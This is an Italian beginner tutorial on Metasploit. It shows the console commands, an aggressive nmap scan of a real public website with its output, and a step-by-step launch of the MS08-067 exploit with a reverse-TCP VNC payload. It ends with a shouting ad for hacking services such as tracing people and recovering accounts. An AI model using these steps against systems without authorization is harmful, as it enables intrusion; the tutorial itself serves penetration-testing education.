Metasploit tutorial in italiano

Tutorial in italiano per Metasploit? In questo articolo approfondiamo tale tematica.

Metasploit Framework è uno strumento il cui scopo è quello di permettere ad un tester di scrivere velocemente exploit e di automatizzarne l’esecuzione. All’interno del tool sono disponibili una libreria di exploit per le più comuni (e non) vulnerabilità, un’archivio di payloads e strumenti di utilità pronti all’uso.

La grande diffusione di questo strumento ha fatto si che, ad oggi, molte advisories vengano accompagnate da moduli pronti per essere testati su Metasploit.

Installazione Metasploit
Metasploit è installabile su qualsiasi piattaforma purché sia disponibile l’interpete Ruby (linguaggio in cui è scritto il tool). Esistono pacchetti pronti per le varie piattafome che è possibile reperire sul sito ufficiale.

Per i meno pazienti è possibile utilizzare una macchina virtuale con Backtrack che include una installazione di Metasploit di default. In questo caso sarebbe opportuno aggiornare il framework all’ultima versione, da terminale:

$ msfupdate
O alternativamente fare l’aggiornamento direttamente via svn:

$ cd cartella-di-installazione-di-metasploit
$ svn up
Console Metasploit
È possibile lanciare Metasploit da console o da interfaccia grafica.

Per lanciare la console basta utilizzare da una shell il comando (si presume di essere in ambiente linux):

$ msfconsole
Altrimenti per l’interfaccia grafica:

$ msfgui
In generale è più complicato, almeno all’inizio, gestire uno strumento da linea di comando piuttosto che da una interfaccia grafica. Per Metasploit vale la stessa regola ma vi invito comunque ad utilizzare la console perché permette un controllo più capillare e completo sullo strumento – dopo aver imparato i comandi base potrete comunque passare liberamente ad utilizzare una gui con uno sforzo nullo.

Lanciamo dunque la console:

$ msfconsole
Se la console viene lanciata senza errori, dopo una serie di messaggi di benvenuto, dovremmo trovarci di fronte ad un prompt come questo:

msf >
La prima cosa da sapere è come invocare l’help che ci fornirà una lista dei comandi disponibili:

msf > help
Comandi Metasploit
Vediamo adesso alcuni dei comandi più utili, il primo dei quali è sicuramente connect che permette di connetterci ad un host remoto (similmente a netcat o telnet):

msf > connect www.html.it 80
[*] Connected to www.html.it:80
Esistono poi comandi come ping e nmap che non hanno bisogno di grandi presentazioni:

msf > ping www.html.it
[*] exec: ping www.html.it
PING www.html.it (151.1.244.200): 56 data bytes
64 bytes from 151.1.244.200: icmp_seq=0 ttl=56 time=54.674 ms
64 bytes from 151.1.244.200: icmp_seq=1 ttl=56 time=47.335 ms
64 bytes from 151.1.244.200: icmp_seq=2 ttl=56 time=47.044 ms

msf > nmap -T5 -A www.html.it
[*] exec: nmap -T5 -A www.html.it
Starting Nmap 5.51 ( http://nmap.org ) at 2012-05-20 18:31 CEST
Nmap scan report for www.html.it (151.1.244.200)
Host is up (0.050s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.20 ((Ubuntu))
| http-robots.txt: 3 disallowed entries
|_/articoli/stampa/ / /ads_pages/
|_http-title: HTML.it
|_http-favicon:
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
443/tcp closed https
1863/tcp open msnp?
5190/tcp open aol?
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.40 seconds
E l’utilisismo irb che ci mette a disposizione un interpreet interattivo Ruby per scrivere script al volo:

msf > irb
[*] Starting IRB shell…

/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant HISTORY
/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant FILENAME_COMPLETION_PROC
/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant USERNAME_COMPLETION_PROC
/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant VERSION
>>
In generale per avere più informazioni sull’utilizzo di qualsiasi comando basta invocare l’help dedicato:

msf > nomecomando -h
Vediamo adesso i comandi per interagire con le librerie di exploit e payload. Il primo da conoscere è show che serve per mostrare il contenuto delle librerie, ad esempio:

msf > show exploits
Con questo comando verrà stampata la lista di tutti gli exploit presenti.

Per visualizzare i payload similmente useremo:

msf > show payloads
Per cercare un elemento specifico possiamo servirci del comando search:

msf > search cve:2009 type:exploit app:client
Search utilizza keyword (type, app, platform, name, etc) per affinare la ricerca. Al solito è buona norma consultare l’help del comando per avere un’idea di tutte le sue funzionalità:

msf > search -h

Una volta presa confidenza con la console possiamo provare ad utilizzare un exploit tra quelli presenti.

Il comando per selezionare l’exploit da lanciare è use, in questo modo:

msf > use exploit/windows/smb/ms08_067_metapi
Il comando supporta l’auto completamento (tasto TAB) per aiutarci a navigare nella directory dei vari moduli presenti esattamente come una shell. Una volta selezionato un exploit e premuto invio il prompt cambia:

msf exploit(ms08_067_netapi) >
Per prima cosa dobbiamo farci un’idea di quali parametri servono all’exploit per essere eseguito, quindi utilizzeremo il comando show options:

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description
—- ————— ——– ———–
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/vncinject/reverse_tcp_dns):

Name Current Setting Required Description
—- ————— ——– ———–
AUTOVNC true yes Automatically launch VNC viewer if present
EXITFUNC thread yes Exit technique: seh, thread, none, process
LHOST yes The DNS hostname to connect back to
LPORT 4444 yes The listen port
VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
VNCPORT 5900 yes The local port to use for the VNC proxy

Exploit target:

Id Name
— —-
0 Automatic Targeting
Per informazioni dettagliate sull’exploit c’è il comando info.

Per settare i parametri richiesti si utilizza il comando set (e unset per ripristinare), ad esempio per settare il valore del parametro RHOST (remote host):

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.100
Se l’exploit lo permette possiamo settare un payload da utilizzare per l’attacco:

msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns
Una volta inizializzati tutti i parametri possiamo verificare che il bersaglio sia effettivamente vulnerabile al nostro exploit utilizzando il comando check:

msf exploit(ms08_067_netapi) > check
E infine possiamo lanciare l’exploit con il comando exploit:

msf exploit(ms08_067_netapi) > exploit

STAI CERCANDO PRODOTTI PER L’HACKING, LA SICUREZZA INFORMATICA E IL PENETRATION TESTING? HAI BISOGNO DI BONIFICARE IL TUO SMARTPHONE, IL TUO PC O IL TUO SITO DA VIRUS E MALWARE? DEVI RINTRACCIARE UNA PERSONA O RECUPERARE DELLE INFORMAZIONI URGENTI? DEVI RIPRENDERE POSSESSO DI UN ACCOUNT, UNA MAIL O DI UNA PASSWORD CHE TI HANNO SOTTRATTO? VUOI ACQUISTARE DEVICE GIÀ CONFIGURATI PER SPERIMENTARE TUTTE LE TECNICHE DI HACKING IN MODO FACILE E VELOCE? HAI ESIGENZE PARTICOLARI IN AMBITO SOFTWARE O HARDWARE?POSSIAMO AIUTARTI  ! CLICCA SUBITO SUL BOTTONE ROSSO QUI SOTTO OPPURE CONTATTACI TRAMITE WHATSAPP O COMPILANDO E INVIANDO IL MODULO SOTTOSTANTE.

chevron_left
chevron_right